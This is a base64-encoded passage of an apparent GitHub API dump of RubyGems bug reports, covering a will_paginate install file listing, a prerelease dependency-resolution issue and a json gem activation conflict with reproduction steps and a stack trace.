QucmJcbi9ob21lL3ZvbmRydWNoL3Vzci9zaGFyZS92YWdyYW50L2dlbXMvZ2Vtcy93aWxsX3BhZ2luYXRlLTMuMS4wL2xpYi93aWxsX3BhZ2luYXRlL2RhdGFfbWFwcGVyLnJiXG4vaG9tZS92b25kcnVjaC91c3Ivc2hhcmUvdmFncmFudC9nZW1zL2dlbXMvd2lsbF9wYWdpbmF0ZS0zLjEuMC9saWIvd2lsbF9wYWdpbmF0ZS9kZXByZWNhdGlvbi5yYlxuL2hvbWUvdm9uZHJ1Y2gvdXNyL3NoYXJlL3ZhZ3JhbnQvZ2Vtcy9nZW1zL3dpbGxfcGFnaW5hdGUtMy4xLjAvbGliL3dpbGxfcGFnaW5hdGUvaTE4bi5yYlxuL2hvbWUvdm9uZHJ1Y2gvdXNyL3NoYXJlL3ZhZ3JhbnQvZ2Vtcy9nZW1zL3dpbGxfcGFnaW5hdGUtMy4xLjAvbGliL3dpbGxfcGFnaW5hdGUvbG9jYWxlL2VuLnltbFxuL2hvbWUvdm9uZHJ1Y2gvdXNyL3NoYXJlL3ZhZ3JhbnQvZ2Vtcy9nZW1zL3dpbGxfcGFnaW5hdGUtMy4xLjAvbGliL3dpbGxfcGFnaW5hdGUvbW9uZ29pZC5yYlxuL2hvbWUvdm9uZHJ1Y2gvdXNyL3NoYXJlL3ZhZ3JhbnQvZ2Vtcy9nZW1zL3dpbGxfcGFnaW5hdGUtMy4xLjAvbGliL3dpbGxfcGFnaW5hdGUvcGFnZV9udW1iZXIucmJcbi9ob21lL3ZvbmRydWNoL3Vzci9zaGFyZS92YWdyYW50L2dlbXMvZ2Vtcy93aWxsX3BhZ2luYXRlLTMuMS4wL2xpYi93aWxsX3BhZ2luYXRlL3Blcl9wYWdlLnJiXG4vaG9tZS92b25kcnVjaC91c3Ivc2hhcmUvdmFncmFudC9nZW1zL2dlbXMvd2lsbF9wYWdpbmF0ZS0zLjEuMC9saWIvd2lsbF9wYWdpbmF0ZS9yYWlsdGllLnJiXG4vaG9tZS92b25kcnVjaC91c3Ivc2hhcmUvdmFncmFudC9nZW1zL2dlbXMvd2lsbF9wYWdpbmF0ZS0zLjEuMC9saWIvd2lsbF9wYWdpbmF0ZS9zZXF1ZWwucmJcbi9ob21lL3ZvbmRydWNoL3Vzci9zaGFyZS92YWdyYW50L2dlbXMvZ2Vtcy93aWxsX3BhZ2luYXRlLTMuMS4wL2xpYi93aWxsX3BhZ2luYXRlL3ZlcnNpb24ucmJcbi9ob21lL3ZvbmRydWNoL3Vzci9zaGFyZS92YWdyYW50L2dlbXMvZ2Vtcy93aWxsX3BhZ2luYXRlLTMuMS4wL2xpYi93aWxsX3BhZ2luYXRlL3ZpZXdfaGVscGVycy5yYlxuL2hvbWUvdm9uZHJ1Y2gvdXNyL3NoYXJlL3ZhZ3JhbnQvZ2Vtcy9nZW1zL3dpbGxfcGFnaW5hdGUtMy4xLjAvbGliL3dpbGxfcGFnaW5hdGUvdmlld19oZWxwZXJzL2FjdGlvbl92aWV3LnJiXG4vaG9tZS92b25kcnVjaC91c3Ivc2hhcmUvdmFncmFudC9nZW1zL2dlbXMvd2lsbF9wYWdpbmF0ZS0zLjEuMC9saWIvd2lsbF9wYWdpbmF0ZS92aWV3X2hlbHBlcnMvbGlua19yZW5kZXJlci5yYlxuL2hvbWUvdm9uZHJ1Y2gvdXNyL3NoYXJlL3ZhZ3JhbnQvZ2Vtcy9nZW1zL3dpbGxfcGFnaW5hdGUtMy4xLjAvbGliL3dpbGxfcGFnaW5hdGUvdmlld19oZWxwZXJzL2xpbmtfcmVuZGVyZXJfYmFzZS5yYlxuL2hvbWUvdm9uZHJ1Y2gvdXNyL3NoYXJlL3ZhZ3JhbnQvZ2Vtcy9nZW1zL3dpbGxfcGFnaW5hdGUtMy4xLjAvbGliL3dpbGxfcGFnaW5hdGUvdmlld19oZWxwZXJzL21lcmIucmJcbi9ob21lL3ZvbmRydWNoL3Vzci9zaGFyZS92YWdyYW50L2dlbXMvZ2Vtcy93aWxsX3BhZ2luYXRlLTMuMS4wL2xpYi93aWxsX3BhZ2luYXRlL3ZpZXdfaGVscGVycy9zaW5hdHJhLnJiXG4vaG9tZS92b25kcnVjaC91c3Ivc2hhcmUvdmFncmFudC9nZW1zL2dlbXMvd2lsbF9wYWdpbmF0ZS0zLjEuMC9zcGVjL2NvbGxlY3Rpb25fc3BlYy5yYlxuL2hvbWUvdm9uZHJ1Y2gvdXNyL3NoYXJlL3ZhZ3JhbnQvZ2Vtcy9nZW1zL3dpbGxfcGFnaW5hdGUtMy4xLjAvc3BlYy9jb25zb2xlXG4vaG9tZS92b25kcnVjaC91c3Ivc2hhcmUvdmFncmFudC9nZW1zL2dlbXMvd2lsbF9wYWdpbmF0ZS0zLjEuMC9zcGVjL2NvbnNvbGVfZml4dHVyZXMucmJcbi9ob21lL3ZvbmRydWNoL3Vzci9zaGFyZS92YWdyYW50L2dlbXMvZ2Vtcy93aWxsX3BhZ2luYXRlLTMuMS4wL3NwZWMvZGF0YWJhc2UueW1sXG4vaG9tZS92b25kcnVjaC91c3Ivc2hhcmUvdmFncmFudC9nZW1zL2dlbXMvd2lsbF9wYWdpbmF0ZS0zLjEuMC9zcGVjL2Zha2VfcnVieWdlbXMucmJcbi9ob21lL3ZvbmRydWNoL3Vzci9zaGFyZS92YWdyYW50L2dlbXMvZ2Vtcy93aWxsX3BhZ2luYXRlLTMuMS4wL3NwZWMvZmluZGVycy9hY3RpdmVfcmVjb3JkX3NwZWMucmJcbi9ob21lL3ZvbmRydWNoL3Vzci9zaGFyZS92YWdyYW50L2dlbXMvZ2Vtcy93aWxsX3BhZ2luYXRlLTMuMS4wL3NwZWMvZmluZGVycy9hY3RpdmVyZWNvcmRfdGVzdF9jb25uZWN0b3IucmJcbi9ob21lL3ZvbmRydWNoL3Vzci9zaGFyZS92YWdyYW50L2dlbXMvZ2Vtcy93aWxsX3BhZ2luYXRlLTMuMS4wL3NwZWMvZmluZGVycy9kYXRhX21hcHBlcl9zcGVjLnJiXG4vaG9tZS92b25kcnVjaC91c3Ivc2hhcmUvdmFncmFudC9nZW1zL2dlbXMvd2lsbF9wYWdpbmF0ZS0zLjEuMC9zcGVjL2ZpbmRlcnMvZGF0YV9tYXBwZXJfdGVzdF9jb25uZWN0b3IucmJcbi9ob21lL3ZvbmRydWNoL3Vzci9zaGFyZS92YWdyYW50L2dlbXMvZ2Vtcy93aWxsX3BhZ2luYXRlLTMuMS4wL3NwZWMvZmluZGVycy9tb25nb2lkX3NwZWMucmJcbi9ob21lL3ZvbmRydWNoL3Vzci9zaGFyZS92YWdyYW50L2dlbXMvZ2Vtcy93aWxsX3BhZ2luYXRlLTMuMS4wL3NwZWMvZmluZGVycy9zZXF1ZWxfc3BlYy5yYlxuL2hvbWUvdm9uZHJ1Y2gvdXNyL3NoYXJlL3ZhZ3JhbnQvZ2Vtcy9nZW1zL3dpbGxfcGFnaW5hdGUtMy4xLjAvc3BlYy9maW5kZXJzL3NlcXVlbF90ZXN0X2Nvbm5lY3Rvci5yYlxuL2hvbWUvdm9uZHJ1Y2gvdXNyL3NoYXJlL3ZhZ3JhbnQvZ2Vtcy9nZW1zL3dpbGxfcGFnaW5hdGUtMy4xLjAvc3BlYy9maXh0dXJlcy9hZG1pbi5yYlxuL2hvbWUvdm9uZHJ1Y2gvdXNyL3NoYXJlL3ZhZ3JhbnQvZ2Vtcy9nZW1zL3dpbGxfcGFnaW5hdGUtMy4xLjAvc3BlYy9maXh0dXJlcy9kZXZlbG9wZXIucmJcbi9ob21lL3ZvbmRydWNoL3Vzci9zaGFyZS92YWdyYW50L2dlbXMvZ2Vtcy93aWxsX3BhZ2luYXRlLTMuMS4wL3NwZWMvZml4dHVyZXMvZGV2ZWxvcGVyc19wcm9qZWN0cy55bWxcbi9ob21lL3ZvbmRydWNoL3Vzci9zaGFyZS92YWdyYW50L2dlbXMvZ2Vtcy93aWxsX3BhZ2luYXRlLTMuMS4wL3NwZWMvZml4dHVyZXMvcHJvamVjdC5yYlxuL2hvbWUvdm9uZHJ1Y2gvdXNyL3NoYXJlL3ZhZ3JhbnQvZ2Vtcy9nZW1zL3dpbGxfcGFnaW5hdGUtMy4xLjAvc3BlYy9maXh0dXJlcy9wcm9qZWN0cy55bWxcbi9ob21lL3ZvbmRydWNoL3Vzci9zaGFyZS92YWdyYW50L2dlbXMvZ2Vtcy93aWxsX3BhZ2luYXRlLTMuMS4wL3NwZWMvZml4dHVyZXMvcmVwbGllcy55bWxcbi9ob21lL3ZvbmRydWNoL3Vzci9zaGFyZS92YWdyYW50L2dlbXMvZ2Vtcy93aWxsX3BhZ2luYXRlLTMuMS4wL3NwZWMvZml4dHVyZXMvcmVwbHkucmJcbi9ob21lL3ZvbmRydWNoL3Vzci9zaGFyZS92YWdyYW50L2dlbXMvZ2Vtcy93aWxsX3BhZ2luYXRlLTMuMS4wL3NwZWMvZml4dHVyZXMvc2NoZW1hLnJiXG4vaG9tZS92b25kcnVjaC91c3Ivc2hhcmUvdmFncmFudC9nZW1zL2dlbXMvd2lsbF9wYWdpbmF0ZS0zLjEuMC9zcGVjL2ZpeHR1cmVzL3RvcGljLnJiXG4vaG9tZS92b25kcnVjaC91c3Ivc2hhcmUvdmFncmFudC9nZW1zL2dlbXMvd2lsbF9wYWdpbmF0ZS0zLjEuMC9zcGVjL2ZpeHR1cmVzL3RvcGljcy55bWxcbi9ob21lL3ZvbmRydWNoL3Vzci9zaGFyZS92YWdyYW50L2dlbXMvZ2Vtcy93aWxsX3BhZ2luYXRlLTMuMS4wL3NwZWMvZml4dHVyZXMvdXNlci5yYlxuL2hvbWUvdm9uZHJ1Y2gvdXNyL3NoYXJlL3ZhZ3JhbnQvZ2Vtcy9nZW1zL3dpbGxfcGFnaW5hdGUtMy4xLjAvc3BlYy9maXh0dXJlcy91c2Vycy55bWxcbi9ob21lL3ZvbmRydWNoL3Vzci9zaGFyZS92YWdyYW50L2dlbXMvZ2Vtcy93aWxsX3BhZ2luYXRlLTMuMS4wL3NwZWMvbWF0Y2hlcnMvZGVwcmVjYXRpb25fbWF0Y2hlci5yYlxuL2hvbWUvdm9uZHJ1Y2gvdXNyL3NoYXJlL3ZhZ3JhbnQvZ2Vtcy9nZW1zL3dpbGxfcGFnaW5hdGUtMy4xLjAvc3BlYy9tYXRjaGVycy9waHJhc2VfbWF0Y2hlci5yYlxuL2hvbWUvdm9uZHJ1Y2gvdXNyL3NoYXJlL3ZhZ3JhbnQvZ2Vtcy9nZW1zL3dpbGxfcGFnaW5hdGUtMy4xLjAvc3BlYy9tYXRjaGVycy9xdWVyeV9jb3VudF9tYXRjaGVyLnJiXG4vaG9tZS92b25kcnVjaC91c3Ivc2hhcmUvdmFncmFudC9nZW1zL2dlbXMvd2lsbF9wYWdpbmF0ZS0zLjEuMC9zcGVjL3BhZ2VfbnVtYmVyX3NwZWMucmJcbi9ob21lL3ZvbmRydWNoL3Vzci9zaGFyZS92YWdyYW50L2dlbXMvZ2Vtcy93aWxsX3BhZ2luYXRlLTMuMS4wL3NwZWMvcGVyX3BhZ2Vfc3BlYy5yYlxuL2hvbWUvdm9uZHJ1Y2gvdXNyL3NoYXJlL3ZhZ3JhbnQvZ2Vtcy9nZW1zL3dpbGxfcGFnaW5hdGUtMy4xLjAvc3BlYy9zcGVjX2hlbHBlci5yYlxuL2hvbWUvdm9uZHJ1Y2gvdXNyL3NoYXJlL3ZhZ3JhbnQvZ2Vtcy9nZW1zL3dpbGxfcGFnaW5hdGUtMy4xLjAvc3BlYy92aWV3X2hlbHBlcnMvYWN0aW9uX3ZpZXdfc3BlYy5yYlxuL2hvbWUvdm9uZHJ1Y2gvdXNyL3NoYXJlL3ZhZ3JhbnQvZ2Vtcy9nZW1zL3dpbGxfcGFnaW5hdGUtMy4xLjAvc3BlYy92aWV3X2hlbHBlcnMvYmFzZV9zcGVjLnJiXG4vaG9tZS92b25kcnVjaC91c3Ivc2hhcmUvdmFncmFudC9nZW1zL2dlbXMvd2lsbF9wYWdpbmF0ZS0zLjEuMC9zcGVjL3ZpZXdfaGVscGVycy9saW5rX3JlbmRlcmVyX2Jhc2Vfc3BlYy5yYlxuL2hvbWUvdm9uZHJ1Y2gvdXNyL3NoYXJlL3ZhZ3JhbnQvZ2Vtcy9nZW1zL3dpbGxfcGFnaW5hdGUtMy4xLjAvc3BlYy92aWV3X2hlbHBlcnMvdmlld19leGFtcGxlX2dyb3VwLnJiXG5TdWNjZXNzZnVsbHkgaW5zdGFsbGVkIHdpbGxfcGFnaW5hdGUtMy4xLjBcbjEgZ2VtIGluc3RhbGxlZFxuYGBgXG5cblRoaXMgbG9va3MgdG8gYmUgc2ltaWxhciB0byAjOTYxIFxuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNDY1IiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE0NjUvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE0NjUvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTQ2NS9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTQ2NSIsImlkIjoxMjk5MDkzMzIsIm51bWJlciI6MTQ2NSwidGl0bGUiOiJMb2NhbCBwcmVyZWxlYXNlcyBkb24ndCBhY3RpdmF0ZSBcInByZXJlbGVhc2UgbW9kZVwiIiwidXNlciI6eyJsb2dpbiI6Im1hdHRoZXdkIiwiaWQiOjEwMzQsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEwMzQ/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21hdHRoZXdkIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vbWF0dGhld2QiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tYXR0aGV3ZC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tYXR0aGV3ZC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tYXR0aGV3ZC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbWF0dGhld2Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tYXR0aGV3ZC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21hdHRoZXdkL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21hdHRoZXdkL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbWF0dGhld2QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21hdHRoZXdkL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjoxMTIyMzAsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3R5cGU6JTIwYnVnJTIwcmVwb3J0IiwibmFtZSI6InR5cGU6IGJ1ZyByZXBvcnQiLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjo0LCJjcmVhdGVkX2F0IjoiMjAxNi0wMS0yOVQyMzoxODowN1oiLCJ1cGRhdGVkX2F0IjoiMjAxNi0wNi0wOVQwOToyMDoxMVoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6IkNPTlRSSUJVVE9SIiwiYm9keSI6IkknbSBub3Qgc3VyZSB3aGF0IEknZCBuZWVkIHRvIGRvIHRvIGRpc3RpbGwgdGhpcyBpbnRvIHNvbWV0aGluZyB0aGF0IGNhbiBsaXZlIGFuZCByZW1haW4gcmVwcm9kdWNpYmxlIGluIHRoZSBmdXR1cmUsIGJ1dCByaWdodCBub3c6XG5cbmBgYFxuJSBnZW0gaW5zdGFsbCAtLWV4cGxhaW4gLi9hY3Rpb25wYWNrLTUuMC4wLmJldGExLmdlbVxuR2VtcyB0byBpbnN0YWxsOlxuRVJST1I6ICBXaGlsZSBleGVjdXRpbmcgZ2VtIC4uLiAoR2VtOjpEZXBlbmRlbmN5RXJyb3IpXG4gICAgVW5yZXNvbHZlZCBkZXBlbmRlbmN5IGZvdW5kIGR1cmluZyBzb3J0aW5nIC0gcmFjayAoPj0gMS4wKSAocmVxdWVzdGVkIGJ5IHJhY2stdGVzdC0wLjYuMylcblxuJSBnZW0gaW5zdGFsbCAtLWV4cGxhaW4gYWN0aW9ucGFjayAtdiA1LjAuMC5iZXRhMSAgIFxuR2VtcyB0byBpbnN0YWxsOlxuICBpMThuLTAuNy4wXG4gIGpzb24tMS44LjNcbiAgdGhyZWFkX3NhZmUtMC4zLjVcbiAgdHppbmZvLTEuMi4yXG4gIG1pbml0ZXN0LTUuOC4zXG4gIGNvbmN1cnJlbnQtcnVieS0xLjAuMFxuICBtZXRob2Rfc291cmNlLTAuOC4yXG4gIGFjdGl2ZXN1cHBvcnQtNS4wLjAuYmV0YTFcbiAgYnVpbGRlci0zLjIuMlxuICBlcnViaXMtMi43LjBcbiAgbWluaV9wb3J0aWxlMi0yLjAuMFxuICBub2tvZ2lyaS0xLjYuNy4xXG4gIGxvb2ZhaC0yLjAuM1xuICByYWlscy1odG1sLXNhbml0aXplci0xLjAuMlxuICByYWlscy1kZXByZWNhdGVkX3Nhbml0aXplci0xLjAuM1xuICByYWlscy1kb20tdGVzdGluZy0xLjAuN1xuICBhY3Rpb252aWV3LTUuMC4wLmJldGExXG4gIHJhY2stMi4wLjAuYWxwaGFcbiAgcmFjay10ZXN0LTAuNi4zXG4gIGFjdGlvbnBhY2stNS4wLjAuYmV0YTFcbmBgYFxuXG4tLS1cblxuQXMgZmFyIGFzIEkgdW5kZXJzdGFuZCB3aGF0J3MgZ29pbmcgb24sIHdoZW4gaW5zdGFsbGluZyBhIHByZXJlbGVhc2UgZ2VtIGZyb20gdGhlIHNlcnZlciwgd2Ugc3dpdGNoIGludG8gYSBcInByZXJlbGVhc2VzIGFyZSBva2F5XCIgbW9kZSwgYW5kIHdpbGwgdGhlbiB1c2UgYSBwcmVyZWxlYXNlIGFueSB0aW1lIGl0J3MgbmVjZXNzYXJ5IGluIG9yZGVyIHRvIHNhdGlzZnkgYSBkZXBlbmRlbmN5LCBldmVuIGlmIHRoZSBkZXBlbmRlbmN5IHJhbmdlIGRvZXNuJ3QgZXhwbGljaXRseSBpbmNsdWRlIGEgcHJlcmVsZWFzZSB2ZXJzaW9uLiAoVGhhdCBpcywgYD49IDEuMGAgd2lsbCBpbnN0YWxsIGAxLjEuYWxwaGFgIGlmIGl0J3MgdGhlIG9ubHkgdGhpbmcgYXZhaWxhYmxlIC8gb25seSB2ZXJzaW9uIHRoYXQgbWVldHMgYWxsIHRoZSBjb25zdHJhaW50cy4pXG5cbldoZW4gaW5zdGFsbGluZyBmcm9tIGEgbG9jYWwgZmlsZSwgaG93ZXZlciwgdGhpcyBtb3JlIGdlbmVyb3VzIGFsbG93YW5jZSBpcyBub3QgcHJvdmlkZWQ6IGV2ZW4gdGhvdWdoIHdlJ3JlIGluc3RhbGxpbmcgYSBwcmVyZWxlYXNlIHZlcnNpb24sIGRlcGVuZGVuY2llcyBtdXN0IGJlIHNhdGlzZmllZCBieSBub24tcHJlcmVsZWFzZSBnZW1zICh1bmxlc3MgdGhlIGRlcGVuZGVuY3kgY29uc3RyYWludCBpdHNlbGYgbWVudGlvbnMgYSBwcmVyZWxlYXNlKTogd2l0aCBvbmx5IGAxLjEuYWxwaGFgIGF2YWlsYWJsZSwgYD49IDEuMGAgd2lsbCBlcnJvciwgdGhvdWdoIGA+PSAxLjEuYWAgd291bGQgc3VjY2VlZC5cblxuY2MgQHJhZmFlbGZyYW5jYSBAZWlsZWVuY29kZXNcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTQ1MSIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNDUxL2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNDUxL2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE0NTEvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE0NTEiLCJpZCI6MTI2MjkwMzg5LCJudW1iZXIiOjE0NTEsInRpdGxlIjoidW5hYmxlIHRvIHJlcXVpcmUganNvbiB3aXRoIHVucmVzb2x2ZWQgZGVwZW5kZW5jaWVzIGZvciBpdCIsInVzZXIiOnsibG9naW4iOiJjY3V0cmVyIiwiaWQiOjE5MTMyMCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczIuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTkxMzIwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jY3V0cmVyIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vY2N1dHJlciIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NjdXRyZXIvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY2N1dHJlci9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jY3V0cmVyL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jY3V0cmVyL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY2N1dHJlci9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NjdXRyZXIvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY2N1dHJlci9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NjdXRyZXIvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NjdXRyZXIvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNzg4MDY2MCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvcGxhdGZvcm06JTIwb3N4IiwibmFtZSI6InBsYXRmb3JtOiBvc3giLCJjb2xvciI6IjUzMTllNyIsImRlZmF1bHQiOmZhbHNlfSx7ImlkIjoxMTIyMzAsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3R5cGU6JTIwYnVnJTIwcmVwb3J0IiwibmFtZSI6InR5cGU6IGJ1ZyByZXBvcnQiLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjoxMiwiY3JlYXRlZF9hdCI6IjIwMTYtMDEtMTJUMjI6MTc6MjZaIiwidXBkYXRlZF9hdCI6IjIwMTYtMDktMDlUMjA6MjM6MTdaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJOT05FIiwiYm9keSI6IlRoZSBjb25kaXRpb25zIHRvIGhpdCB0aGlzIGFyZSBwcmV0dHkgY29tcGxpY2F0ZWQsIGJ1dCB0aGUgdGw7ZHIgaXMgdGhhdCBgR2VtOjpTcGVjaWZpY2F0aW9uLmZpbmRfaW5fdW5yZXNvbHZlZF90cmVlYCBkb2Vzbid0IHJldHVybiB0aGUgYnVpbHQgaW4gYGpzb25gIGdlbSBpbmNsdWRlZCB3aXRoIHJ1YnkuXG5cblNvLCBmdWxsIHNldHVwOlxuLSBJbnN0YWxsIHJ1YnkgMi4zLjBcbi0gYGdlbSBpbnN0YWxsIGpzb24gLXYgMS44LjJgXG4tIGNyZWF0ZSB0aGUgZm9sbG93aW5nIGZpbGVzOlxuXG5gYGBcbnRlc3RfanNvbi9cbiAgdGVzdF9qc29uLmdlbXNwZWNcbiAgYmluL1xuICAgIHRlc3RfanNvblxuYGBgXG5cbkNvbnRlbnRzIG9mIHRoZSBnZW1zcGVjOlxuXG5gYGBcbkdlbTo6U3BlY2lmaWNhdGlvbi5uZXcgZG8gfHN8XG4gIHMubmFtZSA9ICd0ZXN0X2pzb24nXG4gIHMudmVyc2lvbiA9ICcxLjAnXG4gIHMuc3VtbWFyeSA9ICcnXG4gIHMuYXV0aG9ycyA9IFsnQ29keSBDdXRyZXInXVxuICBzLmFkZF9kZXBlbmRlbmN5ICdhY3RpdmVzdXBwb3J0J1xuICBzLmFkZF9kZXBlbmRlbmN5ICdhd3Mtc2RrLXYxJ1xuICBzLmV4ZWN1dGFibGVzID0gJ3Rlc3RfanNvbidcbmVuZFxuYGBgXG5cbkNvbnRlbnRzIG9mIHRoZSBiaW5hcnk6XG5cbmBgYFxuIyEvdXNyL2Jpbi9lbnYgcnVieVxuXG5yZXF1aXJlICdqc29uJ1xuYGBgXG4tIGBnZW0gYnVpbGQgdGVzdF9qc29uLmdlbXNwZWNgXG4tIGBnZW0gaW5zdGFsbCB0ZXN0X2pzb24tMS4wLmdlbXNwZWNgXG4tIGB0ZXN0X2pzb25gXG4tIG9ic2VydmUgdGhlIGVycm9yOlxuXG5gYGBcbi9Vc2Vycy9jb2R5Ly5ydWJpZXMvcnVieS0yLjMuMC9saWIvcnVieS8yLjMuMC9ydWJ5Z2Vtcy9zcGVjaWZpY2F0aW9uLnJiOjIyNzY6aW4gYGNoZWNrX3ZlcnNpb25fY29uZmxpY3QnOiBjYW4ndCBhY3RpdmF0ZSBqc29uLTEuOC4yLCBhbHJlYWR5IGFjdGl2YXRlZCBqc29uLTEuOC4zIChHZW06OkxvYWRFcnJvcilcbiAgICBmcm9tIC9Vc2Vycy9jb2R5Ly5ydWJpZXMvcnVieS0yLjMuMC9saWIvcnVieS8yLjMuMC9ydWJ5Z2Vtcy9zcGVjaWZpY2F0aW9uLnJiOjE0MDU6aW4gYGFjdGl2YXRlJ1xuICAgIGZyb20gL1VzZXJzL2NvZHkvLnJ1Ymllcy9ydWJ5LTIuMy4wL2xpYi9ydWJ5LzIuMy4wL3J1YnlnZW1zL2NvcmVfZXh0L2tlcm5lbF9yZXF1aXJlLnJiOjg5OmluIGBibG9jayBpbiByZXF1aXJl